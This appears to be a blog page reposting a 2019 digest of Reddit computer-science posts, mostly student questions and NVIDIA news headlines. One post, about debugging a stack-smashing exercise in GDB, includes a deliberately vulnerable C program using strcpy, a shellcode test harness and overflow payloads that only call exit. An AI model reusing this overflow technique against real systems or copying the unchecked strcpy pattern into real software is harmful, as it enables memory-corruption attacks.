• Breaking News

    Tuesday, March 19, 2019

    GTC 2019 | NVIDIA’s New GauGAN Transforms Sketches Into Realistic Images Computer Science

    GTC 2019 | NVIDIA’s New GauGAN Transforms Sketches Into Realistic Images Computer Science


    GTC 2019 | NVIDIA’s New GauGAN Transforms Sketches Into Realistic Images

    Posted: 18 Mar 2019 02:23 PM PDT

    Com Sci grads, how did you manage the massive workloads in your 3rd and 4th year

    Posted: 19 Mar 2019 01:51 AM PDT

    Can someone explain the difference/relationship between Knowledge Representation & Reasoning and Knowledge Based systems?

    Posted: 19 Mar 2019 02:36 AM PDT

    Edit: Wikipedia has a page for each subject and they have similar descriptions:

    https://en.wikipedia.org/wiki/Knowledge_representation_and_reasoning "representing information about the world in a form that a computer system can utilize to solve complex tasks".

    https://en.wikipedia.org/wiki/Knowledge-based_systems "A knowledge-based system (KBS) is a computer program that reasons and uses a knowledge base to solve complex problems",

    The best I can figure is that KRR is the theory, and KBS is the practical application of it, but I'm not entirely sure.

    submitted by /u/iwzhzbb
    [link] [comments]

    GDB, weird behavior during stack smashing

    Posted: 18 Mar 2019 11:56 PM PDT

    Hello everyone;

    I have a toy example I am trying to stack smash and I have everything aligned, my shellcode is fine, I have tested it through this driver code:

    #include<string.h> #include<stdio.h> int main(void){ char* shell = "\xb0\x01\x31\xdb\xcd\x80"; int(*fptr)() = (int(*)()) shell; fptr(); printf("foo is bar\n"); return 1; } 

    It exists correctly; therefore all is well.

    This is the toy example:

    #include <stdio.h> #include <stdlib.h> #include <string.h> int password_valid = 0; void authenticate_root(char *passwd) { unsigned long marker = 0xdeadbeef; char password[16]; strcpy(password, passwd); fprintf(stderr, "%p\n", &marker); fprintf(stderr, "Validating password: %s\n", password); if (!strcmp(password, "e5ce4db216329f4f")) password_valid = marker; } int main(int argc, char *argv[]) { authenticate_root(argv[1]); if (password_valid != 0) { printf("Welcome administrator.\n"); } else { printf("Access denied.\n"); } return 1; } 

    Running it through gdb;

    This works:

    r `printf "\xb0\x01\x31\xdb\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAA\x3c\xf1\xff\xbf"` 

    gdb:

    inferior 1 process exited normally 

    if I swap \xb0\x01 and \x31\xdb so that my payload becomes:

    r `printf "\x31\xdb\xb0\x01\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAA\x3c\xf1\xff\xbf"` 

    I am erroring with illegal instruction because it reaches the address 0xbffff15e. However, If I were to

    disas 0xbffff13c, +10, 

    And continue executing instruction by instruction, it reaches int 0x80 and exits, like it should, if I don't disas at the address, it simply segfaults and doesn't execute int 0x80, instead it keeps on going. At times, If I were to disas at the payload, the program keeps on going.

    If however, I attempt to rerun the program after I disas'd and it exited, gdb stops breaking at break points and just runs the whole program which in turn segfaults.

    If I attempt to run with the working payload, I still get segfault even though it worked before.

    Why could this be happening happening?

    edit:

    My payload is this:

    0: b0 01 mov $0x1,%al 2: 31 db xor %ebx,%ebx 4: cd 80 int $0x80 

    My goal is to simply close the program; int 80 is an interrupt that makes a system call, the system call is the one at eax , in this case I need the sys call to be 1, my bug is in strcpy so if I have NULL byte in my payload it stops working, so to give eax the value 1, I use mov and al, to give 1 to the lower 8 bit of the register,mov $0x1, %eax or %ax adds NULL and breaks the payload. I push 0 in ebx because that's the value I want to pass into exit, ie exit($ebx).

    The problem is that swapping the order of mov and xor instructions, the program doesn't execute int 80 or it executes but it doesn't exit. If I prepend my payload with another mov, it works just fine:

    0: b0 01 mov $0x1,%al 2: 31 db xor %ebx,%ebx 4: b0 01 mov $0x1,%al 6: cd 80 int $0x80 

    The above works.

    submitted by /u/0x0dd
    [link] [comments]

    AI Tackles Mahjong

    Posted: 18 Mar 2019 08:35 AM PDT

    LinkedList Manipulation

    Posted: 19 Mar 2019 01:05 AM PDT

    I'm not sure if I am posting in the correct place (if not please correct me). I have an exam on Tuesday and I'm really struggling with problems that involved LinkedList manipulations. I understand syntax and what is going on when switching link between nodes, but I am having greatly difficulty getting correct answers.

    I have looked everywhere for tutorials and basic starting approaches to these types of questions but I have fallen short. Please, if you have any advice to these types of questions please help.

    Here is an example question:

    Write a method removeDuplicates that could be added to the LinkedIntList class from lecture and section. The method should remove any duplicates from the linked list of integers. The resulting list should have the values in the same relative order as their first occurrence in the original list. In other words, a value i should appear before a value j in the final list if and only if the first occurence of i appeared before the first occurrence of j in the original list. For example, if a variable called list stores the following list:

    [14, 8, 14, 12, 1, 14, 11, 8, 8, 10, 4, 9, 1, 2, 5, 2, 4, 12, 12] After the call of list.removeDuplicates();, the list should store these values:

    [14, 8, 12, 1, 11, 10, 4, 9, 2, 5] Assume that we are adding this method to the LinkedIntList class as seen in lecture and as shown below. You may not call any other methods of the class to solve this problem, you may not construct any new nodes, and you may not use any auxiliary data structures to solve this problem (such as an array, ArrayList, Queue, String, etc.). You also may not change any data fields of the nodes. You must solve this problem by rearranging the links of the list.

    public class LinkedIntList { private ListNode front; ... } public class ListNode { public int data; public ListNode next; ... } 

    Is there a general approach for these types of problems? With most other types of problems we have been introduced to I can find a pattern between solutions and figure out a way to approach a question but with LinkedLists I'm clueless. Btw, I've tried other subs with no luck.

    submitted by /u/creehiker16
    [link] [comments]

    Struggling in first CS Course

    Posted: 18 Mar 2019 09:56 PM PDT

    Hello, Currently in school for a CS degree and in what my school considers an introductory c++ class. It's been a struggle and after the last midterm I don't think I will pass. Did any of you fail a class your university considered to be "easy"? Feeling kinda down at the moment as I'm a better programmer than my test scores reflect, almost has me considering changing my major.

    submitted by /u/TJPluto
    [link] [comments]

    Why a CS degree is better than teaching yourself how to code

    Posted: 18 Mar 2019 09:45 PM PDT

    GTC 2019 | New NVIDIA One-Stop AI Framework Accelerates Workflows by 50x

    Posted: 18 Mar 2019 07:23 PM PDT

    Bremermann's limit in hyperspace?

    Posted: 18 Mar 2019 05:53 PM PDT

    Is Bremermann's limit dimension dependent? Or, make it easy, is computation itself dimension dependent? Imagine we actually lived in a universe with 4 spatial dimensions. How would the limit in question change? Does having an extra spatial dimension increase computational capacity and ability? Or does the nature of 4D space actually hinder it?

    submitted by /u/jimisommer
    [link] [comments]

    Game Theory With The Trailer Park Boys

    Posted: 18 Mar 2019 11:42 AM PDT

    Working while pursuing degree

    Posted: 18 Mar 2019 11:17 AM PDT

    I'll be done with my gen ed courses this year and next year I'll be starting working towards a computer science degree. My question is, on average how much did you or would you recommend working a job while pursuing a compsci degree?

    submitted by /u/throwaway5838372
    [link] [comments]

    No comments:

    Post a Comment